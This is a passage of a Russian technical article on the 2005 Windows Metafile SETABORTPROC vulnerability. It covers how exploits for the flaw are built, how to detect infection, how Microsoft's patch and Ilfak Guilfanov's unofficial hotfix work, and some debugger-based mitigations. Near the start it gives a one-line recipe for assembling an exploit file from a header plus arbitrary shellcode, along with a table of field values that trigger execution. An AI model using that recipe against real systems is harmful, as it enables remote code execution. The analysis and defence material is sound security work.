 +Листинг 9 ключевой фрагмент полиморфного эксплоита Metasploit Framework без боевой начинки
 +
 +Все происходит так же, как и прошлый раз, только теперь некритичные поля выбираются случайным образом,​ а сам shell-код внедряется в произвольное место между "​мусорными"​ фреймами,​ что ослепляет примитивные сканеры и брандмауэры. Последовательность 26h ??​ 09h 00h остается постоянной,​ но она слишком коротка для обнаружения,​ а разбирать все фреймы вручную сможет только специальным образом написанный сканер.
 +
 +Маленький нюанс — у Ильфака shell-код располагается за незначащим словом hDC, а в Metasploit'​е он следует сразу же за подфункцией SETABORTPROC,​ во всяком случае так кажется при беглом анализе листинга. На самом деле переменная $shellcode состоит из двух частей — фиктивного поля '​Space'​ и боевой начинки,​ расположенной ниже.
 +
 +Чтобы написать свой эксплоит необходимо сгенерировать wmf-заголовок,​ дописать фреймовую запись META_ESCAPE/​SETABORTPROC и прицепить shell-код. В исходных текстах ​ wmf-checker'​а содержится файл wmfhdr.wmf, в котором уже есть заголовок и готовый фрейм с записью META_ESCAPE/​SETABORTPROC. Не хватает только боевой начинки,​ но это легко исправить командой copy /​b wmfhdr.wmf + shell‑code.bin exploit.wmf,​ где shell‑code.bin — любой shell-код,​ выдернутый из червя или разработанный самостоятельно.
 +
 +===== >>>​ врезка допустимые значения различных полей метафайла =====
 +
 +|поле| IrfanViewer|PlayMetaFile|
 +|FileType|01h|любое|
 +|HeaderSize|09h|09h|
 +|Version|01h | 03h| 01h | 03h|
 +|FileSize|корректный размер файла|любое|
 +|NumOfObjects|любое|любое|
 +|MaxRecordSize|любое|любое|
 +|NumOfParams|любое|любое|
 +|Size|> 0|> 0|
 +|LOBYTE(Function)| номерфункции(26h = META_ESCAPE)| номерфункции(26h = META_ESCAPE)|
 +|HIBYTE(Function)|кол-во параметров (любое)|кол-во параметров (любое)|
 +| (word)parameters[0]|любое|любое|
 +|(word)parameters[1]|начало shell-кода|начало shell-кода|
 +
 +Таблица 1 допустимые значения полей метафайла при которых происходит выполнение shell-кода (полезно при анализе/​создании полиморфных червей)
 +
 +как защищаться
 +
 +Прежде,​ чем защищаться неплохо бы выяснить — уязвима ли наша система?​ Можно, конечно,​ использовать wmf-checker от Ильфака,​ но он работает только на NT-подобных системах,​ да и то не на всех. Попробуем его доработать — берем wmfhdr.wmf, дописываем к нему CCh и скармливаем различным графическим программам. Если система уязвима,​ на экране появится сообщение о критической ошибке,​ а EIP будет указывать на INT 03h. Это означает,​ что червь может наброситься в любую секунду и заразить,​ если уже не заразил. Антивирусы здесь бессильны — они (после обновления базы) распознают только META_ESCAPE/​SETABORTPROC,​ но не сам shell-код,​ который может быть любым, в том числе и спроектированным специально для целенаправленной атаки. Проверить систему вручную — нереально. Windows слишком велика и умный хакер всегда сумеет затеряться. Тем не менее, в некоторых случаях обнаружить вторжение все же возможно.
 +
 +{{wmf-exploit_Image_17.jpg}}
 +
 +Рисунок 18 червь атакует уязвимую систему
 +
 +Жмем Пуск -> Найти -> Файлы и Папки и смотрим:​ что у нас образовалось на диске с момента обнаружения уязвимости (т. е. 27 декабря 2005). Конечно,​ это не слишком надежный способ,​ ведь дату создания файлов легко изменить,​ однако,​ большинство хакеров забывают об этом, оставляя в системе отчетливые следы.
 +
 +Еще можно поискать wmf-файлы в кэше-браузера и почтовой программе. Естественно,​ искать необходимо не по расширению (оно наверняка будет другим),​ а по содержимому — 01h 00h 09h 00h 00h в начале файла и 26h ??​ 09h 00h где-то там в середине. Еще лучше провести прямой секторный поиск по всему диску (на случай если вирус уже удалил исходный wmf-файл,​ заметая следы своего проникновения). Если метафайл действительно сохранился,​ —загружаем его в дизассемблер,​ анализируя алгоритм работы вируса,​ в противном случае применяем стандартную методику поиска неизвестной заразы,​ описание которой можно, в частности найти в моих "​Записках исследователя компьютерных вирусов"​ или вот здесь  — http://​castlecops.com/​HijackThis.html,​ где приведен перечень основных методов внедрения.
 +
 +{{wmf-exploit_Image_18.jpg}}
 +
 +Рисунок 19 разрегистрация shimgvw.dll отсекает только часть червей
 +
 +ОК, переходим к активной обороне. Самое простое — это разрегистрировать библиотеку **shimgvw****.****dll**,​ для чего достаточно вызывать командную строку и набрать "​regsvr32 ‑u %windir%\system32\shimgvw.dll",​ лишая червей возможности распространятся через "​просмотр изображений и факсов"​ и GoogleDesktopSearch (для Windows 9x это единственное доступное средство),​ однако,​ если wmf-файлы у ассоциированы с IrfanViewr'​ом,​ зловредный код продолжит свою работу как ни в чем не бывало,​ так что лучше не высаживаться и зарегистрироваться вновь, набрав "​regsvr32 %windir%\system32\shimgvw.dll"​.
 +
 +Официальная заплатка от Microsoft доступна по адресу http://​www.microsoft.com/​technet/​security/​Bulletin/​ms06-001.mspx. Как всегда,​ это здоровый (на полметра,​ а точнее даже ~600 Кб) файл делающий непонятно что и непонятно зачем. Нужно быть сумасшедшим,​ чтобы ему доверять!
 +
 +{{wmf-exploit_Image_19.png}}
 +
 +Рисунок 20 официальная заплатка от Microsoft
 +
 +Установка новых заплаток часто сопровождается проблемами,​ вылезающими совсем в неожиданных местах. Что же делать?​ А вот что! Скачиваем заплатку (в моем случае это файл Windows2000-KB912919-x86-RUS.EXE),​ поднимаем hiew и ищем сигнатуру MSCF. Она должна встретиться как минимум дважды. Первый раз — в исполнимом файле инсталлятора (в моем случае она расположена по смещению 00004422h), второй — в начале cab-архива (00009C00h),​ перед которым как правило идет длинная цепочка "​DINGPADDINGXXPAD",​ оставленная для выравнивания,​ а дальше — беспорядочно разбросанные имена файлов.
 +
 +{{wmf-exploit_Image_20.png}}
 +
 +Рисунок 21 выдирание cab-архива из исполняемого файла автоматического инсталлятора
 +
 +Подгоняем курсор к "​MSCF",​ нажимаем <*>, а затем <​Ctrl>​+<​End>​. Нажимаем <*> еще раз и копируем содержимое выделенного блока в файл по <F2>. Выдранный cab-архив легко распакуется rar'​ом. В нем лежат: GDI32.DLL, MF3216.DLL, SPMSG.DLL и некоторые другие файлы, необходимые для работы инсталлятора.
 +
 +Файл GDI32.DLL, очевидно,​ был перекомпилирован (изменилась дата и размер,​ причем размер изменился в меньшую сторону,​ что совсем не характерно для Microsoft). Судя по штампу времени,​ он был скомпилирован **29 декабря в 13:17:07**, а дата создания/​последней модификации установлена на **30.12.05/​08:​17**,​ то есть программисты сработали очень оперативно,​ а все остальное время заняло тестирование или вообще непонятно что (может,​ Microsoftспециально держала заплатку под сукном).Дизассемблирование GDI32.DLL показывает,​ что из API-функции Escape(), соответствующей wmf-функции META_ESCAPE,​ "​вырезана"​ поддержка подфункции SETABORTPROC,​ однако,​ аналогичная по назначению API-функция SetAbortProc() продолжает работать и совместимость с уже написанными приложениями не нарушается. Естественно,​ из SetAbortProc не может быть напрямую вызвана из метафайла.
 +
 +Файл SPMSG.DLL представляет собой ресурс с текстовыми сообщениями,​ слегка исправленный Microsoft, а MF3216.DLL, если верить fc. exe, вообще не был изменен,​ так что устанавливать официальную заплатку все-таки можно, только мыщъх все равно так делать не стал, ограничившись hotfix'​ом от Ильфака.
 +
 +{{wmf-exploit_Image_21.png}}
 +
 +Рисунок 22 распаковка выдранного cab-архива rar'​ом
 +
 +Короче,​ значит,​ Ильфак. Ильфаку мыщъх верит как себе самому,​ а, может быть, и больше того. Опыт программирования у него огромный и главное к hotfix'​у прилагаются исходные коды (http://​castlecops.com/​downloads-file-499-details-WMF_hotfix_source_code.html) из которых ясно как он работает. Уже откомпилированный файл доступен по адресу http://​castlecops.com/​downloads-file-496-details-Ilfaks_Temporary_WMF_Patch.html.
 +
 +{{wmf-exploit_Image_22.jpg}}
 +
 +Рисунок 23 неофициальный hotfix отсекает всех известных червей,​ ломящихся в META_ESCAPE
 +
 +Инсталляторкопируеткрошечную (всего 3 Кбайта) динамическуюбиблиотеку wmfhotfix.dll всистемныйкаталог Windows имодифицируетследующуюветкуреестра HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,​ проецируя DLL навсепроцессы,​ загружающие USER32.DLL.Поокончанииустановкинампоступаеттрадиционноепредложениеперезагрузиться,​ томыпосылаемегонафиг.Ключ AppInit_DLLs начинает действовать и без этого, проецируя wmfhotfix.dll на адресное пространство всех запускаемыхприложений. Ранее запущенные приложения останутся неотпаченными,​ поэтому их следует закрыть.
 +
 +Оттуда,​ из DllMain, он загружает GDI32.DLL, определяет адрес функции Escape и, предварительно присвоив атрибуты PAGE_EXECUTE_READWRITEвызовом VirtualProtect,​ дописывает к ее началу крохотный thunk, анализирующий аргументы и, если func == SETABORTPROC,​ возвращающий xor eax, eax/​pop ebp/​retn 14h.
 +
 +gdi32 = LoadLibrary(gdi32_dll_name);​
 +
 +ptr = (BYTE *)GetProcAddress(gdi32,​ "​Escape"​);​
 +
 +
 +
 +static int __stdcall thunk(HDC, int func,int param1, void *restparams,​ DWORD)
 +
 +{
 +
 +if ( func != 9 ) // SetAbort
 +
 +{
 +
 +__asm
 +
 +{
 +
 +sub esp, spdelta
 +
 +jmp dword ptr after_thunk //handle everything except SetAbort
 +
 +}
 +
 +}
 +
 +return 0; // fail
 +
 +}
 +
 +Листинг 10 ключевой фрагмент hotfix'​а от Ильфака
 +
 +Проследить за работой заплатки можно с помощью любого отладчика,​ например,​ OllyDbg. Устанавливаем hotfix, загружаем любую программу в OllyDbg (не важно работает она с wmf-файлами или нет) и переходим к функции Escape. В OllyDbg для этого достаточно нажать <​Ctrl>​+<​G>​ , "​Escape",​ <​ENTER>​.
 +
 +Если установка заплатки прошла успешно (что происходит далеко не всегда) в начале функции будет стоять jump на thunk. Конкретный адрес зависит от расположенияwmfhotfix.dll в памяти и может варьироваться в широких пределах. В моем случае это 10001000h
 +
 +
 +
 +GDI32!Escape:​
 +
 +77F4D5FE>​-E9 FD390B98**JMP 10001000****;​ jump ****на**** thunk, ****вставленный**** Ильфако****м**
 +
 +77F4D60383EC 18SUB ESP,18;\
 +
 +77F4D6068B55 08MOV EDX,DWORD PTR SS:[EBP+8] +
 +
 +77F4D60953PUSH EBX; +- кодФункции Escape
 +
 +77F4D60A56PUSH ESI; +
 +
 +77F4D60B57PUSH EDI.+
 +
 +Листинг 11 функция Escape, пропатченная Ильфаком
 +
 +Нажимаем <​Ctrl>​+<​G>,​ 10001000h, <​ENTER>,​ чтобы отладчик перешел на thunk, код которого приведен ниже:
 +
 +
 +
 +1000100055PUSHEBP;​ \ оригинальное содержимое Escape
 +
 +100010018BECMOVEBP,​ESP;​ / (в терминологии Ильфака hotlink)
 +
 +
 +
 +10001003837D 0C 09CMP DWORD PRT SS:​[EBP+C],​9 ; внедренныйИльфаком thunk
 +
 +1000100774 0CJE 10001015; обламываемвызовSETABORTPRC
 +
 +
 +
 +100010092B25 00300010SUB ESP,​[10003000];​ sub esp, spdelta
 +
 +1000100F-FF25 04300010JMP DWORD PTR DS:​[10003004];​ напродолжение Escape
 +
 +
 +
 +**10001015********33****C****0********XOR****EAX****,​****EAX****;​ возвращаем ошибку**
 +
 +100010175DPOPEBP
 +
 +10001018C2 1400RETN 14
 +
 +1000101BCCINT3
 +
 +Листинг 12 дизассемблерный листинг "​нашлепки"​ на Escape, перехватывающий вызов thunk и возвращающий ошибку
 +
 +Главный и, пожалуй,​ единственный недостаток hotfix'​а — отсутствие сообщений об ошибках. Пользователь никогда не может знать — был ли установлен thunk или нет. Ситуация осложняется тем, что Ильфак поленился тащить за собой полноценный дизассемблер и опознает пролог функции Escape по двум следующим шаблонам:​
 +
 +
 +
 +static const BYTE hotlink1[] =
 +
 +{
 +
 +0x8B, MODRM_RR,// movRx, Rx
 +
 +0x55,// pushebp
 +
 +0x8B, 0xEC,// movebp, esp
 +
 +};
 +
 +static const BYTE hotlink2[] =
 +
 +{
 +
 +0x55,// pushebp
 +
 +0x8B, 0xEC,// movebp, esp
 +
 +0x83, 0xEC, WILD// subesp, 18h
 +
 +};
 +
 +Листинг 13 шаблоны,​ используемыеИльфакомдляраспознаванияпролога Escape
 +
 +В нормальных условиях этого более, чем достаточно,​ но задумаемся,​ что произойдет,​ если отладчик типа soft-ice установит программную точку останова на Escape. При этом в первый байт функции будет записан код CCh и hotfix уже не сможет распознать пролог,​ а, значит,​ thunk окажется не установлен и система останется уязвимой! Конечно,​ цивильные люди отладчиками не пользуются,​ но у них могут быть установлены (возможно,​ неявно) некоторые API-шпионы,​ троянские программы,​ защитные механизмы и т. д….
 +
 +Некоторые антивирусные программы и защитные системы (такие,​ например,​ как Lavasoft'​sAd-Watch) не позволяют приложениям модифицировать ветку AppInit_DLLs,​ автоматически восстанавливая ее содержимое. В этом случае,​ hotfix не сработает,​ пока разбушевавшегося "​сторожа"​ не утихомирить вручную.Проблема в том, что пользователь может и не знать, что hitfix не функционален… А ведь черви не дремлют!
 +
 +К тому же, заплатка загружает библиотеку GDI32.DLL всем приложениям даже тем, которым она совершенно не нужна, заставляя ее понапрасну болтаться в памяти,​ а точнее в адресном пространстве,​ благо оно общее и перерасхода памяти не возникает. Ну… практически не возникает. При модификации функции Escape каждый процесс получает копию отпаченной страницы,​ то есть мы теряем по одной странице физической памяти на процесс,​ чем можно пренебречь.
 +
 +Чтобы временно отключить hotfix достаточно просто переименовать wmfhotfix.dll во что-нибудь другое. Это проще (и быстрее),​ чем удалять его деинсталлятором.
 +
 +Хакеры,​ постоянные держащие загруженный soft-ice могут установить условную точку останова на GDI32!Escape с аргументом 09h:: "​bpx Escape if esp->​8==09",​ тогда никакие заплатки устанавливать вообще не понадобиться. При выполнении wmf-эксплоита soft-ice тут же всплывет и нам будет достаточно сказать "​e (esp+8) 0",​ а затем выйти из отладка по <​Ctrl-D>​ или "​x"​. При совместномиспользовании soft-ice с hotfix'​ом лучше устанавливать не программную,​ а аппаратную точку останова:​ "​bpm EscapeX",​ иначе возникнет уже упомянутыйконфликт. Но это еще что! При установке программной точки останова существует ничтожна малая вероятность,​ что она будет установлена в тот злополучный момент когда hotfix уже опознает hotlink, но еще не успеет внедрить jumpв начало Escape. Результатом будет крах системы.
 +
 +Примерный сценарий развития событий выглядит так:
 +
 +  - отладчик запоминает оригинальное содержимое первого байта Escape;
 +  - в первый байт Escape отладчик ставит байт CCh
 +  - Ильфак затирает этот CCh, внедряя сюда jump;
 +  - …в какой-то момент точка останова срабатывает,​ передавая управления отладчику;​
 +  - отладчик восстанавливает1й байт Escape (пролог),​ за который идет покоцанный jump;
 +  - эта последовательность не имеет никакого смысла и выбрасывает исключение;​
 +  - результат:​ крах.
 +
 +
 +Еще одно мелкое замечание,​ даже скорее придирка. Ходят слухи, что в последующих версиях Windows, Microsoft запретить прикладным приложениям приставить все три атрибута доступа PAGE_EXECUTE_READWRITE и это сможет сделать только система или администратор. Поэтому,​ сначала надо делать PAGE__READWRITE,​ а потом PAGE_EXECUTE,​ но это, как говориться,​ уже задел на будущее,​ причем весьма далекое и туманное.
 +
 +Мыщъх так же написал свой собственный fix, работающий по тому же самому принципу,​ что и заплатка от Ильфака,​ но укладывающийся всего в десяток строк, "​движок"​ которого прилагается к статье (см. файл kpnc-hack.c). Он перехватывает MessageBoxA и пишет в заголовке "​hacked"​. Во избежание недоразумений перехват осуществляетсяв переделах адресного пространства моего процесса,​то есть локально,​ но при желании его можно глобализовать,​ поместив в dll, подключаемую через AppInit_DLLs.
 +
 +Вот как он работает: ​
 +
 +  - сохраняем некоторое кол-во байт от начала API-функции (>​= ​ sizeof(jump));​
 +  - ставим в начало функции jump на наш thunk;
 +  - в thunk'​е:​ анализируем аргументы функции и делаем все, что хотим;
 +  - в thunk'​е:​ восстанавливаем оригинальное содержимое функции;​
 +  - в thunk'​е:​ вызываем восстановленную функцию call'​ом;​
 +  - в thunk'​е:​ вновь устанавливая jump на thunk и выходим;​
 +Чтобы постоянно не устанавливать атрибуты PAGE_READWRITE перед каждым копированием,​ их достаточно установить всего один раз. Это чуть-чуть уменьшит накладные расходы,​ однако,​ даже при перехвате интенсивно используемых API-функций (к числу которых Escape со всей очевидностью не принадлежит),​ издержки получаются исчезающее малы, поэтому ими можно полностью пренебречь.
 +
 +Проблема в другом. Существует вполне осязаемая вероятность,​ что в момент восстановления оригинального содержимого функции кто-то вызовет ее в обход thunk'​а! А если такой вызов произойдет в процессе копирования кода, мы поимеем непредсказуемое поведение. Но это в теории. На практике,​ Windows поддерживает механизм Copy-on-Write,​ автоматически "​расщепляя"​ модифицируемые страницы,​ а это значит,​ что вызвать грабли может только один из потоков текущего процесса. Применительно к Escape – ни InternetExplorer,​ ни IrfanViewerпросто не в состоянии одновременно вызывать Escape из двух различных потоков,​ поэтому такой трюк вполне законен. Он упрощает программирование и снимает проблему с CCh, а так же обладает другими преимуществами,​ о которых нет никакого смысла распространяться,​ поскольку,​ кто не успел — тот опоздал. В смысле мыщъх опоздал со своим fix'​ом или все-таки не опознал?​ Ведь его fix работает и пот 9x, для которой до сих пор никакого лекарства нет…
 +
 +
 +
 +===== >>>​ внутри GDI32.DLL =====
 +
 +Дизассемблирование GDI32.DLL лучше всего начинать с функции PlayMetaFileRecord/​ PlayEnhMetaFileRecord. Функция PlayMetaFileRecord представляет собой огромный switch, на case-ветвях которого расположены вызываемые GDI-функции,​ а PlayEnhMetaFileRecord использует табличный метод вызова:​
 +
 +.text:​77F70CB7movebx,​ [ebp+arg_C]
 +
 +.text:​77F70CBApushesi
 +
 +.text:​77F70CBBpushedi
 +
 +.text:​77F70CBCmoveax,​ [ebx]
 +
 +.text:​77F70CBEcmpeax,​ 1
 +
 +.text:​77F70CC1jbshort loc_77F70CDF
 +
 +.text:​77F70CC3cmpeax,​ 7Ah
 +
 +.text:​77F70CC6jashort loc_77F70CDF
 +
 +.text:​77F70CC8push[ebp+arg_10]
 +
 +.text:​77F70CCBmovecx,​ ebx
 +
 +.text:​77F70CCDpush[ebp+arg_8]
 +
 +.text:​77F70CD0push[ebp+arg_4]
 +
 +.text:​77F70CD3calloff_77F7B62C[eax*4]
 +
 +Листинг 14 дизассемблерныйфрагмент PlayEnhMetaFileRecord из GDI32.DLL W2KSP4
 +
 +Последовательно перебирая одну функцию за другой,​ смотрим — не принимают ли они callback'​и в качестве одного из своих аргументов (эту информацию можно почерпнуть из SDK) и если принимают,​ не позволяют ли передавать указатель внутри wmf-файла. Есть подозрение,​ что это не последняя дыра в GDI.
 +
 +===== заключение =====
 +
 +Найденный баг лишний раз подтверждает печальный тезис: программное обеспечение от Microsoft катастрофически ненадежно и дыряво как дуршлаг. В критически важных инфрастуктурах лучше использовать альтернативные операционные системы,​ например,​ BSD или… Windows 98. Забавно,​ но атаковать 9x намного сложнее,​ чем NT и черви под ней практически не распространяются.
 +
 +===== >>>​ врезка интересные ссылки =====
 +
 +  - **Windows Metafile****:​**
 +    - метафайлы на Википедии — назначение,​ история создания,​ базовые архитектурные концепции и прочая общая информация (на английском языке):​ wmf на http://​en.wikipedia.org/​wiki/​Windows_Metafile;​
 +  - **Microsoft Windows Metafile:**
 +    - неофициальная спецификация на метафайлы исчерпывающего типа, ориентированная на программистов (на английском языке):​ http://​wvware.sourceforge.net/​caolan/​ora-wmf.htm;​
 +  - **Metafile Format****:​**
 +    - еще одна неофициальная спецификация на метафайлы,​ хуже предыдущей,​ но зато с примерами готового кода (на английском языке):​ http://​www.geocad.ru/​new/​site/​Formats/​Graphics/​wmf/​wmf.txt;​
 +  - **Windows Metafile vulnerability:​**
 +    - сводная информация по wmf-уязвимости на Wikipedia, избегающая углубления в технические подробностеи и детелеи (на английском языке) http://​en.wikipedia.org/​wiki/​Windows_Metafile_vulnerability;​
 +  - **F-Secure WebLog:**
 +    - хроника развития событий от F-Secure, о wmf-уязвимости и не только — мало технических деталей,​ но зато свежая информация (на английском языке):​ http://​www.f-secure.com/​weblog/​archives/​archive-122005.html;​
 +  - **Secure Team Blog:**
 +    - блог компании,​ специализирующийся на безопасности:​ немного технической информации о wmf-уязвимости,​ интервью с Ильфаком (на английском языке):​ http://​blogs.securiteam.com/;​
 +  - **Security Now****:**
 +    - статья известного хакера Стива Гибсона из "​GibsonResearchCorporation"​ с некоторыми подробностями по wmf-эксплоитам (на аглийском языке):​__http____://​____www____.____grc____.____com____/​____sn____/​____notes____-020.____htm____;​__
 +  - **эксплоиты:​**
 +    - http://​www.metasploit.com/​projects/​Framework/​exploits.html#​ie_xp_pfv_metafile
 +    - http://​milw0rm.com/​metasploit.php?​id=111
 +  - **hexblog forum:**
 +    - форум на hexblog, посвященный wmf-уязвимости (на английском языке):​ http://​castlecops.com/​f212-hexblog.html;​
 +  - **официальный патч от ****Microsoft****:​**
 +    - http://​www.microsoft.com/​technet/​security/​Bulletin/​ms06-001.mspx
 +  - **неофициальный ****hotfix**** от Ильфака:​**
 +    - castlecops.com/​downloads-file-496-details-Ilfaks_Temporary_WMF_Patch.html
 +    - castlecops.com/​downloads-file-495-details-WMF_Vulnerability_Checker.html
 +    - castlecops.com/​downloads-file-499-details-WMF_hotfix_source_code.html
 +    - castlecops.com/​downloads-file-500-details-WMF_exploit_checker_source_code.html
 +
 +
 +